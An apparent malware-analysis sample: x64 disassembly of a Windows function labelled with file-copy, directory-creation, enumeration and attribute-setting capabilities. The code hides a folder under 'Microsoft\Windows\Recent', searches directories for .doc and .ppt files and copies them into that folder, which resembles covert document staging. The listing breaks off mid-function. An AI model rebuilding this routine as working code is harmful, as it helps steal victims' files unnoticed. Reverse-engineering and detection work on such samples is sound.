Function at 0x140002ed0
Capabilities:
Copy file
Create directory
Enumerate files on windows
Set file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x530
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x1400d7090]
xor rax, rsp
mov qword [rsp + 0x500], rax
mov rsi, rdx
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0xa8], rdx
xor r12d, r12d
mov dword [rsp + 0x30], r12d
lea rdx, [rsp + 0x1e0]
call fcn.140002e20
nop
lea r8, [rsp + 0x1e0]
cmp qword [rsp + 0x1f8], 0x10
cmovae r8, qword [rsp + 0x1e0]
add r8, qword [rsp + 0x1f0]
lea rdx, [rsp + 0x1e0]
cmp qword [rsp + 0x1f8], 0x10
cmovae rdx, qword [rsp + 0x1e0]
lea rcx, [rsp + 0x200]
call fcn.14000a440
nop
lea rdx, [0x1400c8dfc]
lea rcx, [rsp + 0x108]
call fcn.140007450
nop
lea rdx, [rsp + 0x200]
cmp qword [rsp + 0x218], 8
cmovae rdx, qword [rsp + 0x200]
mov r8, qword [rsp + 0x210]
lea rcx, [rsp + 0x108]
call fcn.140008950
mov rdi, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x120]
mov rax, rcx
sub rax, rdi
cmp rax, 0x19
jb 0x140003013
lea rax, [rdi + 0x19]
mov qword [rsp + 0x118], rax
lea rbx, [rsp + 0x108]
cmp rcx, 8
cmovae rbx, qword [rsp + 0x108]
lea rcx, [rbx + rdi*2]
lea r8d, [r12 + 0x32]
lea rdx, str.MicrosoftWindowsRecent
call fcn.140074000
mov word [rbx + rdi*2 + 0x32], r12w
jmp 0x140003037
mov qword [rsp + 0x20], 0x19
lea r9, str.MicrosoftWindowsRecent
xor r8d, r8d
lea edx, [r8 + 0x19]
lea rcx, [rsp + 0x108]
call fcn.14000b030
mov rcx, rsi
cmp qword [rsi + 0x18], 8
jb 0x140003044
mov rcx, qword [rsi]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov rcx, rsi
cmp qword [rsi + 0x18], 8
jb 0x140003059
mov rcx, qword [rsi]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov qword [rsp + 0x1c0], r12
mov qword [rsp + 0x1d0], r12
mov qword [rsp + 0x1d8], r12
mov r8d, 4
lea rdx, str..doc
lea rcx, [rsp + 0x1c0]
call fcn.14000ad60
nop
mov qword [rsp + 0x1a0], r12
mov qword [rsp + 0x1b0], r12
mov qword [rsp + 0x1b8], r12
mov r8d, 4
lea rdx, str..ppt
lea rcx, [rsp + 0x1a0]
call fcn.14000ad60
nop
lea rdx, str.en_US.UTF_8
xor ecx, ecx
call fcn.140078f68
nop
mov r14, qword [rsp + 0x118]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r14
cmp rax, 2
jb 0x140004770
lea r15, [rsp + 0x108]
cmp qword [rsp + 0x120], 8
cmovae r15, qword [rsp + 0x108]
mov qword [rsp + 0xb8], r12
mov qword [rsp + 0xc8], r12
mov qword [rsp + 0xd0], r12
lea rsi, [r14 + 2]
mov ebx, 7
lea rdi, [rsp + 0xb8]
movabs r13, 0x7fffffffffffffff
cmp rsi, rbx
jbe 0x140003176
mov rbx, rsi
or rbx, 7
cmp rbx, rcx
jbe 0x1400032af
mov rbx, rcx
mov rcx, r13
add rcx, rcx
call fcn.14000c710
mov rdi, rax
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0xd0], rbx
lea rbx, [r14 + r14]
mov r8, rbx
mov rdx, r15
mov rcx, rdi
call fcn.140074000
mov dword [rdi + rbx], 0x2a005c
xor r15d, r15d
mov word [rdi + rsi*2], r15w
lea r12d, [r15 + 0x10]
lea rdx, [rsp + 0xb8]
cmp qword [rsp + 0xd0], 8
cmovae rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc8]
call fcn.14000c120
lea rcx, [rsp + 0xb8]
cmp qword [rsp + 0xd0], 8
cmovae rcx, qword [rsp + 0xb8]
lea rdx, [rsp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rsp + 0x50], rax
cmp rax, 0xffffffffffffffff
je 0x1400044f3
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x188], xmm1
mov qword [rsp + 0x198], r15
lea rdi, [r15 - 1]
mov rbx, rax
test byte [rsp + 0x2b0], 0x10
je 0x140003268
lea rdx, [0x1400c8ea4]
lea rcx, [rsp + 0x2dc]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x1400044c3
lea rdx, [0x1400c8ea8]
lea rcx, [rsp + 0x2dc]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x1400044c3
mov qword [rsp + 0xe8], r15
mov qword [rsp + 0xf8], r15
mov qword [rsp + 0x100], r15
lea rax, [rsp + 0x2dc]
mov rbx, rdi
nop dword [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140003290
movabs rax, 0x7ffffffffffffffe
cmp rbx, rax
ja 0x140004776
jmp 0x1400032ce
mov r12d, 0xa
cmp rbx, r12
cmovb rbx, r12
lea rcx, [rbx + 1]
cmp rcx, r13
ja 0x14000477c
jmp 0x140003163
mov qword [rsp + 0x100], 7
cmp rbx, 8
jae 0x14000330e
mov qword [rsp + 0xf8], rbx
add rbx, rbx
mov r8, rbx
lea rdx, [rsp + 0x2dc]
lea rcx, [rsp + 0xe8]
call fcn.140074000
mov word [rsp + rbx + 0xe8], r15w
jmp 0x140003373
mov rdi, rbx
or rdi, 7
cmp rdi, rax
jbe 0x14000331f
mov rdi, rax
jmp 0x14000332c
cmp rdi, 0xa
mov eax, 0xa
cmovb rdi, rax
lea rdx, [rdi + 1]
lea rcx, [rsp + 0xe8]
call fcn.14000bef0
mov rsi, rax
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xf8], rbx
mov qword [rsp + 0x100], rdi
add rbx, rbx
mov r8, rbx
lea rdx, [rsp + 0x2dc]
mov rcx, rax
call fcn.140074000
mov word [rsi + rbx], r15w
lea rdx, [rsp + 0xe8]
cmp qword [rsp + 0x100], 8
setae r8b
cmovae rdx, qword [rsp + 0xe8]
mov rax, qword [rsp + 0xf8]
lea r14, [rdx + rax*2]
lea rdi, [rsp + 0xe8]
test r8b, r8b
cmovne rdi, qword [rsp + 0xe8]
mov rax, r15
mov qword [rsp + 0x148], rax
mov qword [rsp + 0x158], r15
cmp rdi, r14
jne 0x1400033e2
mov qword [rsp + 0x160], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x148], 0
jmp 0x140003502
mov rsi, r15
mov ebx, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x160], rbx
mov rcx, r14
sub rcx, rdi
sar rcx, 1
cmp rcx, r13
ja 0x140004782
cmp rcx, 0x10
jb 0x1400034a0
mov rbx, rcx
or rbx, 0xf
cmp rbx, r13
jbe 0x14000341f
mov rbx, r13
jmp 0x14000342c
cmp rbx, 0x16
mov eax, socket
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140003476
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140004787
mov rcx, rax
call fcn.14001d8c0
mov rcx, rax
test rax, rax
je 0x140004873
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140003485
test rcx, rcx
je 0x140003482
call fcn.14001d8c0
jmp 0x140003485
mov rax, r15
mov qword [rsp + 0x148], rax
mov qword [rsp + 0x160], rbx
nop word [rax + rax]
lea rcx, [rsp + 0x148]
cmp rbx, 0x10
cmovae rcx, rax
movzx eax, byte [rdi]
mov byte [rcx + rsi], al
mov rsi, qword [rsp + 0x158]
inc rsi
mov qword [rsp + 0x158], rsi
add rdi, 2
cmp rdi, r14
je 0x1400034e4
mov rbx, qword [rsp + 0x160]
mov rax, qword [rsp + 0x148]
jmp 0x1400034a0
lea rax, [rsp + 0x148]
cmp qword [rsp + 0x160], 0x10
cmovae rax, qword [rsp + 0x148]
mov byte [rax + rsi], 0
mov rsi, qword [rsp + 0x118]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, rsi
cmp rax, 1
jb 0x14000478d
lea r15, [rsp + 0x108]
cmp qword [rsp + 0x120], 8
cmovae r15, qword [rsp + 0x108]
xor edx, edx
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x80], rdx
lea r14, [rsi + 1]
mov ebx, 7
lea rdi, [rsp + 0x68]
cmp r14, rbx
jbe 0x1400035eb
mov rbx, r14
or rbx, 7
cmp rbx, rcx
jbe 0x140003582
mov rbx, rcx
lea rcx, [r13*2]
jmp 0x1400035a8
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, r13
ja 0x140004792
add rcx, rcx
cmp rcx, 0x1000
jb 0x1400035d4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140004797
mov rcx, rax
call fcn.14001d8c0
test rax, rax
je 0x1400047a3
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400035e6
test rcx, rcx
je 0x1400035e3
call fcn.14001d8c0
mov rdi, rax
jmp 0x1400035e6
mov rdi, rdx
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x80], rbx
lea rbx, [rsi + rsi]
mov r8, rbx
mov rdx, r15
mov rcx, rdi
call fcn.140074000
mov eax, 0x5c
mov word [rdi + rbx], ax
xor r15d, r15d
mov word [rdi + r14*2], r15w
or r12d, 1
lea rdx, [rsp + 0xe8]
cmp qword [rsp + 0x100], 8
cmovae rdx, qword [rsp + 0xe8]
mov r8, qword [rsp + 0xf8]
lea rcx, [rsp + 0x68]
call fcn.140008950
movups xmm6, xmmword [rax]
movups xmmword [rsp + 0x88], xmm6
movups xmm7, xmmword [rax + 0x10]
movups xmmword [rsp + 0x98], xmm7
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
or r12d, 2
mov dword [rsp + 0x34], r12d
mov dword [rsp + 0x30], r12d
mov rdx, qword [rsp + 0xd0]
cmp rdx, 8
jb 0x1400036c8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000479d
call fcn.14001d650
movups xmmword [rsp + 0xb8], xmm6
movups xmmword [rsp + 0xc8], xmm7
mov rdx, qword [rsp + 0x80]
cmp rdx, 8
jb 0x14000371d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003718
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400047a3
call fcn.14001d650
lea rcx, [rsp + 0xb8]
mov r8, qword [rsp + 0xd0]
cmp r8, 8
setae dl
mov r9, qword [rsp + 0xb8]
cmovae rcx, r9
mov rax, qword [rsp + 0xc8]
lea r14, [rcx + rax*2]
lea rdi, [rsp + 0xb8]
test dl, dl
cmovne rdi, r9
mov rax, r15
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x138], r15
cmp rdi, r14
jne 0x14000378a
mov qword [rsp + 0x140], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x128], al
jmp 0x1400038b2
mov rsi, r15
mov ebx, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x140], rbx
mov rcx, r14
sub rcx, rdi
sar rcx, 1
cmp rcx, r13
ja 0x1400047a9
cmp rcx, 0x10
jb 0x140003840
mov rbx, rcx
or rbx, 0xf
cmp rbx, r13
jbe 0x1400037c7
mov rbx, r13
jmp 0x1400037d4
cmp rbx, 0x16
mov eax, socket
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x14000381e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400047ae
mov rcx, rax
call fcn.14001d8c0
mov rcx, rax
test rax, rax
je 0x14000486d
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000382d
test rcx, rcx
je 0x14000382a
call fcn.14001d8c0
jmp 0x14000382d
mov rax, r15
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x140], rbx
nop dword [rax]
lea rcx, [rsp + 0x128]
cmp rbx, 0x10
cmovae rcx, rax
movzx eax, byte [rdi]
mov byte [rcx + rsi], al
mov rsi, qword [rsp + 0x138]
inc rsi
mov qword [rsp + 0x138], rsi
add rdi, 2
cmp rdi, r14
je 0x140003884
mov rbx, qword [rsp + 0x140]
mov rax, qword [rsp + 0x128]
jmp 0x140003840
lea rax, [rsp + 0x128]
cmp qword [rsp + 0x140], 0x10
cmovae rax, qword [rsp + 0x128]
mov byte [rax + rsi], 0
mov r8, qword [rsp + 0xd0]
mov r9, qword [rsp + 0xb8]
mov qword [rsp + 0xd8], r15
lea rax, [rsp + 0x38]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0xb8]
cmp r8, 8
cmovae rbx, r9
call fcn.140002a30
mov rcx, rax
test rax, rax
je 0x1400047b4
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x38], rax
test rbx, rbx
je 0x14000392c
cmp rbx, 0x10000
jae 0x140003911
movzx edx, bx
lea rcx, [rsp + 0x38]
call fcn.140009b10
jmp 0x140003940
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rbx + rax*2], 0
jne 0x140003920
jmp 0x14000392f
mov eax, r15d
mov r8d, eax
mov rdx, rbx
lea rcx, [rsp + 0x38]
call fcn.140009da0
nop
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0xd8]
call fcn.1400061e0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x220], xmm0
movups xmmword [rsp + 0x230], xmm0
movups xmmword [rsp + 0x240], xmm0
movups xmmword [rsp + 0x250], xmm0
movups xmmword [rsp + 0x260], xmm0
movups xmmword [rsp + 0x270], xmm0
movups xmmword [rsp + 0x280], xmm0
movups xmmword [rsp + 0x290], xmm0
mov qword [rsp + 0x2a0], rax
lea rax, [rsp + 0x228]
mov qword [rsp + 0x220], rax
mov r8d, 3
mov rdx, qword [rsp + 0xd8]
lea rcx, [rsp + 0x220]
call fcn.1400086f0
nop
mov qword [rsp + 0x168], r15
mov qword [rsp + 0x178], r15
mov qword [rsp + 0x180], r15
mov rdx, qword [rsp + 0x220]
mov r12, 0xffffffffffffffff
mov r8, r12
inc r8
cmp byte [rdx + r8], 0
jne 0x1400039f6
lea rcx, [rsp + 0x168]
call fcn.14000ad60
nop
lea r9, [rsp + 0x1c0]
cmp qword [rsp + 0x1d8], 0x10
cmovae r9, qword [rsp + 0x1c0]
lea rcx, [rsp + 0x168]
cmp qword [rsp + 0x180], 0x10
setae sil
mov rbx, qword [rsp + 0x168]
cmovae rcx, rbx
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x20], rax
mov rdi, qword [rsp + 0x178]
mov rdx, rdi
call fcn.14000aca0
cmp rax, 0xffffffffffffffff
jne 0x140003ab4
lea r9, [rsp + 0x1a0]
cmp qword [rsp + 0x1b8], 0x10
cmovae r9, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x168]
test sil, sil
cmovne rcx, rbx
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x20], rax
mov rdx, rdi
call fcn.14000aca0
cmp rax, 0xffffffffffffffff
je 0x1400042f5
mov rcx, qword [rsp + 0xd8]
add rcx, 0xffffffffffffffe8
call fcn.140009c90
lea r13, [rax + 0x18]
mov qword [rsp + 0xb0], r13
mov edi, r15d
movsxd rax, dword [r13 - 0x10]
lea rsi, [rax*2]
add rsi, r13
cmp r13, rsi
jae 0x140003c7f
mov rbx, r13
nop
lea rdx, [0x1400c8eb0]
mov rcx, rbx
call fcn.140073bb0
test rax, rax
je 0x140003b2a
nop dword [rax]
nop dword [rax + rax]
inc edi
lea rbx, [rax + 8]
lea rdx, [0x1400c8eb0]
mov rcx, rbx
call fcn.140073bb0
test rax, rax
jne 0x140003b10
test rbx, rbx
je 0x140003b3e
mov rax, r12
inc rax
cmp word [rbx + rax*2], 0
jne 0x140003b32
jmp 0x140003b41
mov eax, r15d
inc eax
movsxd rcx, eax
lea rbx, [rbx + rcx*2]
cmp rbx, rsi
jb 0x140003af0
test edi, edi
jle 0x140003c7f
movsxd r14, dword [r13 - 0x10]
lea eax, [rdi*4]
mov r15d, r14d
sub r15d, eax
mov edx, r14d
cmp r15d, r14d
cmovg edx, r15d
test edx, edx
js 0x1400047bf
mov ecx, 1
sub ecx, dword [r13 - 8]
mov eax, dword [r13 - 0xc]
sub eax, edx
or eax, ecx
jge 0x140003ba2
lea rcx, [rsp + 0xb0]
call fcn.140009d40
mov r13, qword [rsp + 0xb0]
lea r12, [r14*2]
add r12, r13
mov rdi, r13
cmp rdi, r12
jae 0x140003c58
nop dword [rax]
lea rdx, [0x1400c8eb0]
mov rcx, rdi
call fcn.140073bb0
mov rbx, rax
test rax, rax
je 0x140003c1c
mov rdx, rax
sub rdx, r13
sar rdx, 1
mov ecx, r14d
sub ecx, edx
movsxd rcx, ecx
lea rsi, [rcx*2 - 8]
lea rdx, [rax + 8]
mov rdi, rax
test rsi, rsi
je 0x140003c10
test rdx, rdx
je 0x1400047c9
mov r8, rsi
mov rcx, rbx
call fcn.140074000
xor eax, eax
mov word [rsi + rbx], ax
sub r14d, 4
jmp 0x140003bc0
test rdi, rdi
je 0x140003c48
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x140003c30
inc eax
movsxd rcx, eax
lea rdi, [rdi + rcx*2]
jmp 0x140003bb0
xor eax, eax
inc eax
movsxd rcx, eax
lea rdi, [rdi + rcx*2]
jmp 0x140003bb0
test r15d, r15d
js 0x1400047e3
cmp r15d, dword [r13 - 0xc]
jg 0x1400047e3
mov dword [r13 - 0x10], r15d
movsxd rax, r15d
xor r15d, r15d
mov word [r13 + rax*2], r15w
lea r12, [r15 - 1]
mov edi, r15d
mov rbx, r13
movsxd rax, dword [r13 - 0x10]
lea rsi, [rax*2]
add rsi, r13
cmp r13, rsi
jae 0x140003e0f
nop dword [rax]
lea rdx, [0x1400c8df8]
mov rcx, rbx
call fcn.140073bb0
test rax, rax
je 0x140003cda
nop dword [rax]
nop dword [rax + rax]
inc edi
lea rbx, [rax + 2]
lea rdx, [0x1400c8df8]
mov rcx, rbx
call fcn.140073bb0
test rax, rax
jne 0x140003cc0
test rbx, rbx
je 0x140003cee
mov rax, r12
inc rax
cmp word [rbx + rax*2], 0
jne 0x140003ce2
jmp 0x140003cf1
mov eax, r15d
inc eax
movsxd rcx, eax
lea rbx, [rbx + rcx*2]
cmp rbx, rsi
jb 0x140003ca0
test edi, edi
jle 0x140003e0f
movsxd r14, dword [r13 - 0x10]
test r14d, r14d
js 0x1400047ed
mov ecx, 1
mov rsi, qword [rsp + 0xb0]
sub ecx, dword [rsi - 8]
mov eax, dword [rsi - 0xc]
sub eax, r14d
or eax, ecx
jge 0x140003d46
mov edx, r14d
lea rcx, [rsp + 0xb0]
call fcn.140009d40
mov rsi, qword [rsp + 0xb0]
mov r12, r14
add r12, r12
lea r15, [rsi + r12]
mov rbx, rsi
cmp rbx, r15
jae 0x140003df9
nop dword [rax]
lea rdx, [0x1400c8df8]
mov rcx, rbx
call fcn.140073bb0
mov rdi, rax
test rax, rax
je 0x140003dc5
mov rdx, rax
sub rdx, rsi
sar rdx, 1
mov ecx, r14d
sub ecx, edx
movsxd rsi, ecx
dec rsi
lea r8, [rsi + rsi]
lea rbx, [rax + 2]
test r8, r8
je 0x140003dac
test rbx, rbx
je 0x1400047f7
mov rdx, rbx
mov rcx, rbx
call fcn.140074000
mov eax, 0x5f
mov word [rdi], ax
xor eax, eax
mov word [rdi + rsi*2 + 2], ax
mov rsi, qword [rsp + 0xb0]
jmp 0x140003d60
test rbx, rbx
je 0x140003de9
mov rax, 0xffffffffffffffff
inc rax
cmp word [rbx + rax*2], 0
jne 0x140003dd1
inc eax
movsxd rcx, eax
lea rbx, [rbx + rcx*2]
jmp 0x140003d53
xor eax, eax
inc eax
movsxd rcx, eax
lea rbx, [rbx + rcx*2]
jmp 0x140003d53
cmp r14d, dword [rsi - 0xc]
jg 0x14000481b
mov dword [rsi - 0x10], r14d
xor r15d, r15d
mov word [rsi + r12], r15w
lea r8, [0x1400c8ebc]
lea rdx, [0x1400c8ec0]
lea rcx, [rsp + 0xb0]
call fcn.140006d60
call fcn.140002a30
mov rcx, rax
test rax, rax
je 0x140004811
mov rax, qword [rax]
call qword [rax + 0x18]
mov rdi, rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0xe0], rbx
lea r14, [0x1400c8ec4]
cmp r14, 0x10000
jae 0x140003ede
movzx edx, r14w
lea rcx, [rsp + 0xe0]
call fcn.140009b10
mov rbx, qword [rsp + 0xe0]
mov r13, 0xffffffffffffffff
mov esi, dword [rsp + 0x34]
mov rax, qword [rsp + 0x58]
mov r14, rax
cmp qword [rax + 0x18], 8
jb 0x140003e96
mov r14, qword [rax]
mov qword [rsp + 0x40], r15
lea rax, [rbx - 0x18]
mov qword [rsp + 0x60], rax
mov rcx, qword [rbx - 0x18]
test rcx, rcx
je 0x140003ebf
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, rax
test rax, rax
jne 0x140003fc3
call fcn.140002a30
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x20]
mov rcx, rax
test rax, rax
je 0x140004826
jmp 0x140003fc3
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
mov r13, 0xffffffffffffffff
mov r9d, r13d
mov r8, r14
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea esi, [rax - 1]
test esi, esi
jle 0x140003f62
mov edx, 1
sub edx, dword [rdi + 0x10]
mov ecx, dword [rdi + 0xc]
sub ecx, esi
or ecx, edx
jge 0x140003f2f
mov edx, esi
lea rcx, [rsp + 0xe0]
call fcn.140009d40
mov rbx, qword [rsp + 0xe0]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rbx
mov r9d, r13d
mov r8, r14
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp esi, dword [rbx - 0xc]
jg 0x140004831
mov dword [rbx - 0x10], esi
movsxd rax, esi
mov word [rbx + rax*2], r15w
jmp 0x140003e80
mov rsi, qword [rdi]
cmp dword [rdi + 8], 0
je 0x140003e80
cmp dword [rdi + 0x10], 0
jge 0x140003f8c
cmp dword [rdi + 0xc], 0
jl 0x14000483b
mov dword [rdi + 8], r15d
mov word [rbx], r15w
jmp 0x140003e80
mov eax, r13d
lock xadd dword [rdi + 0x10], eax
sub eax, 1
jg 0x140003fa5
mov rcx, qword [rdi]
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rsp + 0xe0], rbx
mov esi, dword [rsp + 0x30]
jmp 0x140003e84
mov rax, qword [rcx]
call qword [rax + 0x18]
lea rdi, [rax + 0x18]
mov qword [rsp + 0x40], rdi
or esi, 4
mov dword [rsp + 0x34], esi
mov dword [rsp + 0x30], esi
movsxd r12, dword [rbx - 0x10]
test r14, r14
jne 0x140003feb
mov esi, r15d
jmp 0x140003ffb
mov rsi, r13
nop
inc rsi
cmp word [r14 + rsi*2], 0
jne 0x140003ff0
lea r15d, [r12 + rsi]
test r15d, r15d
js 0x140004846
mov ecx, 1
sub ecx, dword [rdi - 8]
mov eax, dword [rdi - 0xc]
sub eax, r15d
or eax, ecx
jge 0x14000402c
mov edx, r15d
lea rcx, [rsp + 0x40]
call fcn.140009d40
mov rdi, qword [rsp + 0x40]
movsxd rax, esi
lea rsi, [rax + rax]
test rsi, rsi
je 0x140004065
test rdi, rdi
jne 0x140004052
call fcn.14007c594
mov r14d, socket
mov dword [rax], r14d
call fcn.14007c410
jmp 0x14000406b
mov r8, rsi
mov rcx, rdi
test r14, r14
je 0x14000408b
mov rdx, r14
call fcn.140074000
mov r14d, socket
mov r8, r12
add r8, r8
lea rcx, [rsi + rdi]
je 0x14000409c
test rcx, rcx
jne 0x140004094
call fcn.14007c594
mov dword [rax], r14d
call fcn.14007c410
jmp 0x14000409c
xor edx, edx
call fcn.1400746b0
jmp 0x14000403d
mov rdx, rbx
call fcn.140074000
cmp r15d, dword [rdi - 0xc]
jg 0x140004890
mov dword [rdi - 0x10], r15d
movsxd rax, r15d
xor ecx, ecx
mov word [rdi + rax*2], cx
mov qword [rsp + 0x48], rcx
lea r13, [rdi - 0x18]
mov rcx, qword [r13]
test rcx, rcx
je 0x1400040d3
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, rax
test rax, rax
jne 0x1400040ed
call fcn.140002a30
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x20]
mov rcx, rax
test rax, rax
je 0x140004851
mov rax, qword [rcx]
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x48], rbx
mov eax, dword [rsp + 0x34]
or eax, 8
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x30], eax
mov rsi, qword [rsp + 0xb0]
movsxd r12, dword [rsi - 0x10]
movsxd r15, dword [rdi - 0x10]
lea r14d, [r12 + r15]
test r14d, r14d
js 0x14000485c
mov ecx, 1
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, r14d
or eax, ecx
jge 0x14000414c
mov edx, r14d
lea rcx, [rsp + 0x48]
call fcn.140009d40
mov rbx, qword [rsp + 0x48]
add r15, r15
je 0x140004177
test rbx, rbx
jne 0x140004169
call fcn.14007c594
mov edi, socket
mov dword [rax], edi
call fcn.14007c410
jmp 0x14000417c
mov r8, r15
mov rdx, rdi
mov rcx, rbx
call fcn.140074000
mov edi, socket
mov r8, r12
add r8, r8
lea rcx, [r15 + rbx]
je 0x1400041a3
test rcx, rcx
jne 0x14000419b
call fcn.14007c594
mov dword [rax], edi
call fcn.14007c410
jmp 0x1400041a3
mov rdx, rsi
call fcn.140074000
cmp r14d, dword [rbx - 0xc]
jg 0x140004885
mov dword [rbx - 0x10], r14d
movsxd rax, r14d
xor r15d, r15d
mov word [rbx + rax*2], r15w
lea rdi, [rbx - 0x18]
add rsi, 0xffffffffffffffe8
cmp rdi, rsi
je 0x140004229
cmp dword [rsi + 0x10], r15d
jl 0x140004215
mov rax, qword [rsi]
cmp qword [rdi], rax
jne 0x140004215
mov rcx, rdi
call fcn.140009c90
mov rbx, rax
mov r12, 0xffffffffffffffff
mov ecx, r12d
lock xadd dword [rsi + 0x10], ecx
sub ecx, 1
jg 0x140004203
mov rcx, qword [rsi]
mov r8, qword [rcx]
mov rdx, rsi
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [rbx + 0x18]
mov qword [rsp + 0xb0], rax
mov eax, dword [rsp + 0x30]
jmp 0x140004234
mov r8d, dword [rbx - 0x10]
mov rdx, rbx
lea rcx, [rsp + 0xb0]
call fcn.140009da0
mov r12, 0xffffffffffffffff
mov eax, dword [rsp + 0x34]
and eax, 0xfffffff7
mov dword [rsp + 0x30], eax
mov eax, r12d
lock xadd dword [rdi + 0x10], eax
sub eax, 1
jg 0x140004254
mov rcx, qword [rdi]
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
and dword [rsp + 0x30], 0xfffffffb
mov eax, r12d
lock xadd dword [r13 + 0x10], eax
sub eax, 1
jg 0x140004274
mov rcx, qword [r13]
mov rax, qword [rcx]
mov rdx, r13
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rdx, qword [rsp + 0xd8]
call fcn.140006930
lea rdx, [0x1400c8ec8]
mov rcx, rax
call fcn.14000a530
mov r8d, 1
mov rdx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
nop
mov eax, r12d
mov rdx, qword [rsp + 0x60]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400042c9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0xb0]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400042eb
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
movabs r13, 0x7fffffffffffffff
test byte [rsp + 0x2b0], 0x10
je 0x140004345
mov rax, qword [rsp + 0x190]
cmp rax, qword [rsp + 0x198]
je 0x14000432c
lea rdx, [rsp + 0xb8]
mov rcx, rax
call fcn.140007540
add qword [rsp + 0x190], 0x20
jmp 0x140004345
lea r8, [rsp + 0xb8]
mov rdx, rax
lea rcx, [rsp + 0x188]
call fcn.14000c550
nop
mov rdx, qword [rsp + 0x180]
cmp rdx, 0x10
